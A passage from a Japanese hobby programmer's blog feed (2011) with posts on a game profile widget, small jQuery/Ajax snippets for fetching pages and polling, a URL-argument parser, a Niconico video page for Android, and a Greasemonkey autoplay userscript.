src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-770736726967871997</id><published>2011-03-06T23:37:00.001+09:00</published><updated>2011-03-10T19:11:24.988+09:00</updated><title type='text'>クロスファイアのブログパーツを作成。</title><content type='html'>&lt;p&gt;公式がこういうの作ってくれるといいんだけどなぁ。&lt;/p&gt; &lt;p&gt;とりあえず、こんな感じに表示されます。&lt;/p&gt; &lt;p&gt;&lt;iframe height="220" src="http://axe1lyze.client.jp/blogparts/cf/?sh4rp-s1ght" width="270"&gt;&lt;/iframe&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;データは公式ウェブページと連動しています。&lt;/p&gt; &lt;p&gt;使い方は&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;&amp;lt;iframe src=”&lt;a href="http://axe1lyze.client.jp/blogparts/cf/?コールネーム"&gt;http://axe1lyze.client.jp/blogparts/cf/?コールネーム&lt;/a&gt;" height="220" width="270"&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;のコールネームを自分のに書き換えて貼り付けるだけ。&lt;/p&gt; &lt;p&gt;heightとwidthはスクロールバーが出ない最小値です。（IEとChromeのみチェック）&lt;br&gt;&lt;/p&gt; &lt;p&gt;まだ試作段階です。使っていただいた方はできれば動作報告をお寄せください。&lt;/p&gt; &lt;p&gt;あと壁紙も募集しています。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-770736726967871997?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/770736726967871997/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=770736726967871997&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/770736726967871997'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/770736726967871997'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/03/blog-post_06.html' title='クロスファイアのブログパーツを作成。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-3696484852219260056</id><published>2011-02-24T21:26:00.001+09:00</published><updated>2011-02-25T10:09:40.735+09:00</updated><title type='text'>JavaScriptで複数のページからソースを取得</title><content type='html'>&lt;p&gt;多分使うことはないだろうけど、もうブログの記事のネタもないので。&lt;/p&gt; &lt;p&gt;言うまでもなくjQueryとxdomainajaxが必要。&lt;/p&gt; &lt;p&gt;ソースコードは以下&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function getSiteSources(urls,func){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sources="";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; getSource(urls,0);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; function getSource(urls,num){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(urls[num]!=null){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jQuery.get(urls[num],function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sources=sources+data.responseText+"&amp;lt;split&amp;gt;";&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; getSource(urls,num+1);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }else{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; res=sources.split("&amp;lt;split&amp;gt;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; delete res[num];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; func(res);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これでgetSiteSources(urls[配列],取得後の動作)で一気に取得できる。  &lt;p&gt;例）  &lt;blockquote&gt; &lt;p&gt;urls=new Array();&lt;br&gt;urls[0]=”http://www.google.co.jp”;&lt;br&gt;urls[1]=”http://www.yahoo.co.jp”;&lt;br&gt;urls[2]=”http://axe1lyze.blogspot.com”;&lt;br&gt;&lt;br&gt;getSiteSources(urls,function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; i=0;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0;data[i]!=null;i++){alert(data[i]);}&lt;br&gt;});&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これで３つのウェブページのソースコードをダイアログで表示します。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;使うタイミングがわからんな。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-3696484852219260056?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/3696484852219260056/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=3696484852219260056&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3696484852219260056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/3696484852219260056'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/02/javascript.html' title='JavaScriptで複数のページからソースを取得'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-8483428192484055940</id><published>2011-02-19T13:24:00.003+09:00</published><updated>2011-02-21T02:03:29.048+09:00</updated><title type='text'>JavaScript+PHPで無理やりリアルタイム通信</title><content type='html'>&lt;p&gt;チャットを作っていてひらめいた。&lt;/p&gt; &lt;p&gt;今まではAjaxで連続的にデータを取得したいとき以下のようなコードを書いていた&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;intvl=500;&lt;br&gt;t=setInterval(“reload()”,intvl);&lt;br&gt;function reload(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; jQuery.get(“url”,function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 煮たり焼いたり(data);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;一応これでもできるが、これだとそのうち通信しなくなってしまう。&lt;/p&gt; &lt;p&gt;ぼーっとしていてふと思ったのが再帰的方法。なぜ今更思いついたんだろう。&lt;/p&gt; &lt;p&gt;ソースコードを以下のようにすればずっと放置していてもちゃんとデータを取得できる。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function reload(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; jQuery.get(“url”,function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 煮たり焼いたり(data);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; reload();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これでreload()が呼び出されたときにそこから止まることなく連続で取得が始まる。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;え？サーバーへの負荷？んなもん知らん。&lt;/p&gt; &lt;p&gt;というのもまずいので一応自分なりの対処方法を書いてみる。&lt;/p&gt; &lt;p&gt;以下の方法でサーバーへの負荷を軽減できる。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;intvl=500;&lt;br&gt;function reload(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; jQuery.get(“url”,function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 煮たり焼いたり(data);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setTimeout(“reload()”,intvl);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;intvlの値を大きくすればするほどサーバーへの負荷は減るが更新間隔が長くなる。&lt;/p&gt; &lt;p&gt;setIntervalであればclearIntervalでストップすることができるが、これだと起動してしまうとストップできないように見える。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;一応対処法がふとひらめいたのでコードにまとめておく。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;reloadFlag=true;&lt;br&gt;intvl=500;&lt;br&gt;&lt;br&gt;reload();&lt;br&gt;&lt;br&gt;function reload(){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(reloadFlag){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; jQuery.get(“url”,function(data){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 煮たり焼いたり(data);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; setTimeout(“reload()”,intvl);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; });&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;こうしておけばreloadFlagの値をfalseにするだけでreload()を停止することができる。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-8483428192484055940?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/8483428192484055940/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=8483428192484055940&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8483428192484055940'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/8483428192484055940'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/02/javascriptphp.html' title='JavaScript+PHPで無理やりリアルタイム通信'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-558689766897833749</id><published>2011-02-06T20:13:00.001+09:00</published><updated>2011-02-09T01:56:03.877+09:00</updated><title type='text'>友達がGALAPAGOS 003SHにしたようです。</title><content type='html'>&lt;p&gt;さっそく機種変更した本人よりいじり倒してきました。&lt;/p&gt; &lt;p&gt;3Dに関しては微妙。まぁまだ発展段階だし。&lt;/p&gt; &lt;p&gt;ブラウジングやタッチの反応も文句はない程度。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;友達曰く「やっぱキーボード必要ですね。」&lt;/p&gt; &lt;p&gt; そりゃそうだろうね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;もうちょっと待てばGALAPAGOS 005SHが発売されたのだが。&lt;/p&gt; &lt;p&gt;まぁすぐに機種変更しなければならない状態だったので仕方ないですかね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;005SHいいなー。 &lt;/p&gt; &lt;p&gt;HDMIもついてるみたいですね。&lt;/p&gt; &lt;p&gt;車にHDMI対応の小型ディスプレイをくっつけておけば・・・。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-558689766897833749?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/558689766897833749/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=558689766897833749&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/558689766897833749'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/558689766897833749'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/02/galapagos-003sh.html' title='友達がGALAPAGOS 003SHにしたようです。'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4991206196805870583</id><published>2011-01-30T04:41:00.001+09:00</published><updated>2011-02-04T03:36:21.230+09:00</updated><title type='text'>Androidでニコニコ動画再生</title><content type='html'>&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Android端末でニコニコ動画を再生するためにウェブページを作りました。&lt;/p&gt; &lt;p&gt;&lt;a href="http://axe1lyze.client.jp/nicovideo/" target="_blank"&gt;http://axe1lyze.client.jp/nicovideo/&lt;/a&gt;&lt;/p&gt; &lt;p&gt;200行のHTMLファイル一つでここまでできるとは思っていなかった。JavaScriptってすごいな！ &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;一応対応機種としては&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;・OS : Android2.2以上&lt;br&gt;・CPU : SnapDragonまたはCortex A8 1GHz以上&lt;br&gt;・メモリ : 512MByte以上&lt;br&gt;・ブラウザ : Android標準ブラウザ , Dolphin Browser HD&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;IS06では快適に動作するようです。ほかの端末では確認できていませんが、それなりのスペックがあれば見れるでしょう。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;使い方等々&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;URLの最後に&lt;br&gt;・?v=動画ID または ?url=ニコニコ動画の動画URL で動画が見れる。&lt;br&gt;・?keyword=キーワード または ?url=キーワード で検索ができる。&lt;br&gt;例）&lt;a href="http://axe1lyze.client.jp/nicovideo/?url=incorporated" target="_blank"&gt;http://axe1lyze.client.jp/nicovideo/?url=incorporated&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;まぁあとは普通につかえばOKです。&lt;/p&gt; &lt;p&gt;バグや意見等がありましたらご連絡ください。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;s&gt;さすがFC2さんもNinja Tools、広告うざいです。まぁどこも同じなんだけど。JSやCSSで消してるのは内緒。&lt;/s&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;この記事を見てくださった方、ぜひこのウェブページをリツイートなりして広めていただけると幸いです。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;以下動画&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:5737277B-5D6D-4f48-ABFC-DD9C333F4C5D:4bacbc29-e5da-4ded-9861-1004642c87e9" class="wlWriterEditableSmartContent"&gt;&lt;div id="d2f94c57-fed3-45cd-b02c-a71c298b747f" style="margin: 0px; padding: 0px; display: inline;"&gt;&lt;div&gt;&lt;a href="http://www.youtube.com/watch?v=W6Jvb1XemTc" target="_new"&gt;&lt;img src="https://lh5.googleusercontent.com/_toMCQOU2NRI/TUr1o-RfKYI/AAAAAAAAANY/-_tI23ygUwA/video6e20e6dc6038%5B3%5D.jpg?imgmax=800" style="border-style: none" galleryimg="no" onload="var downlevelDiv = document.getElementById('d2f94c57-fed3-45cd-b02c-a71c298b747f'); downlevelDiv.innerHTML = &amp;quot;&amp;lt;div&amp;gt;&amp;lt;object width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;param name=\&amp;quot;movie\&amp;quot; value=\&amp;quot;http://www.youtube.com/v/W6Jvb1XemTc&amp;amp;hl=en\&amp;quot;&amp;gt;&amp;lt;\/param&amp;gt;&amp;lt;embed src=\&amp;quot;http://www.youtube.com/v/W6Jvb1XemTc&amp;amp;hl=en\&amp;quot; type=\&amp;quot;application/x-shockwave-flash\&amp;quot; width=\&amp;quot;425\&amp;quot; height=\&amp;quot;355\&amp;quot;&amp;gt;&amp;lt;\/embed&amp;gt;&amp;lt;\/object&amp;gt;&amp;lt;\/div&amp;gt;&amp;quot;;" alt=""&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4991206196805870583?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4991206196805870583/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4991206196805870583&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4991206196805870583'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4991206196805870583'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/01/android.html' title='Androidでニコニコ動画再生'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh5.googleusercontent.com/_toMCQOU2NRI/TUr1o-RfKYI/AAAAAAAAANY/-_tI23ygUwA/s72-c/video6e20e6dc6038%5B3%5D.jpg?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-4240882190193683164</id><published>2011-01-30T03:50:00.001+09:00</published><updated>2011-01-30T04:31:08.310+09:00</updated><title type='text'>JavaScriptでURLからの引数を利用する</title><content type='html'>&lt;p&gt;こんなことできたんですね←今更&lt;/p&gt; &lt;p&gt;というわけで、簡単に利用できるためのメソッドを作ってみました。&lt;/p&gt; &lt;p&gt;ソースは以下&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;function urlArg(key){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var arg=null;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var data=location.search.split("?");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; var data=data[1].split("&amp;amp;");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(i=0;i&amp;lt;data.length;i++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; var arg=data[i].split("=");&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(arg[0]==key){ value=arg[1]; return value; break; }&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br&gt;}&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;以下説明。  &lt;p&gt;例としてこのファイルをtest.htmlとします。&lt;/p&gt; &lt;p&gt;test.htmlにこのスクリプトを入れておいて、たとえばtest.html?arg=testという引数付でアクセスされた場合に、urlArg(arg)とするとtestという値を返します。&lt;/p&gt; &lt;p&gt;またURLで複数の引数を利用したい場合は&amp;amp;をつけることで可能となります。&lt;/p&gt; &lt;p&gt;例（ test.html?key0=0&amp;amp;key1=1&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-4240882190193683164?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/4240882190193683164/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=4240882190193683164&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4240882190193683164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/4240882190193683164'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/01/javascripturl.html' title='JavaScriptでURLからの引数を利用する'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-2446019072443353486</id><published>2011-01-29T04:54:00.001+09:00</published><updated>2011-01-29T04:59:27.356+09:00</updated><title type='text'>FireFoxのUser Scripts</title><content type='html'>&lt;p&gt;こんなものがあるなんて知らなかった。JavaScriptでアドオン作れちゃうなんて。&lt;/p&gt; &lt;p&gt;Chromeでも使えるようですが、ChromeだったらChrome Extensionsを入れた方がいいですよね。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;とりあえずFireFoxでのUser Scriptsの利用方法。&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;1.&lt;a href="https://addons.mozilla.org/ja/firefox/addon/greasemonkey/" target="_blank"&gt;Greasemonkey&lt;/a&gt;をダウンロード。&lt;br&gt;2.FireFoxの起動アイコンにuser.jsファイルをD&amp;amp;D。&lt;br&gt;3.インストール画面が出るのでインストール。&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;これだけ。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;暇つぶしに改良した_X_y_z_さんのソースコード&lt;/p&gt; &lt;blockquote&gt; &lt;p&gt;// ==UserScript==&lt;br&gt;// @name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Nico2AutoPlayer&lt;br&gt;// @author&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _X_y_z_ (addition by Axe1lyze)&lt;br&gt;// @namespace&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://axe1lyze.blogspot.com"&gt;http://axe1lyze.blogspot.com&lt;/a&gt;&lt;br&gt;// @description&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ニコニコ動画で動画を自動的に最大化し再生します。&lt;br&gt;// @version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1.00&lt;br&gt;// @include&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="http://www.nicovideo.jp/watch/*"&gt;http://www.nicovideo.jp/watch/*&lt;/a&gt;&lt;br&gt;// ==/UserScript== &lt;/p&gt; &lt;p&gt;(function(){t=setInterval("(function(){f=document.getElementById('flvplayer');f.ext_setVideoSize('fit');(f.ext_getStatus())?'playing'!=f.ext_play(1):clearInterval(t)})()",500);})();&lt;/p&gt;&lt;/blockquote&gt; &lt;p&gt;ソースコードは_X_y_z_さんの&lt;a href="http://my.opera.com/Xyz-Special-DX/blog/show.dml/14153242"&gt;ブログ&lt;/a&gt;より拝借致しました。&lt;/p&gt; &lt;p&gt;このソースをコピーしテキストエディタに貼り付けて「Nico2AutoPlayer.user.js」という名前で保存。&lt;/p&gt; &lt;p&gt;あとは上記の方法でインストールすればニコニコ動画で自動的に最大化して再生するようになります。&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;さて、冬休みでやることなさそうだからAjaxとJSONあたりをちゃんと勉強しようかなぁ。&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8028206435131058419-2446019072443353486?l=axe1lyze.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://axe1lyze.blogspot.com/feeds/2446019072443353486/comments/default' title='コメントの投稿'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8028206435131058419&amp;postID=2446019072443353486&amp;isPopup=true' title='0 件のコメント'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2446019072443353486'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8028206435131058419/posts/default/2446019072443353486'/><link rel='alternate' type='text/html' href='http://axe1lyze.blogspot.com/2011/01/firefoxuser-scripts.html' title='FireFoxのUser Scripts'/><author><name>Masaharu Tsukamoto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-UCfldpDnCAY/AAAAAAAAAAI/AAAAAAAAAQQ/98ZoBg119Mk/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8028206435131058419.post-7182746769154171048</id><published>2011-01-26T23:18:00.001+09:00</published><updated>2011-01-26T23:19:00.172+09:00</updated><title type='text'>最良の回線と端末の組み合わせ</title><content type='html'>&lt;p&gt;今日初めてIS06触ってみたけどすごいね。Galaxy 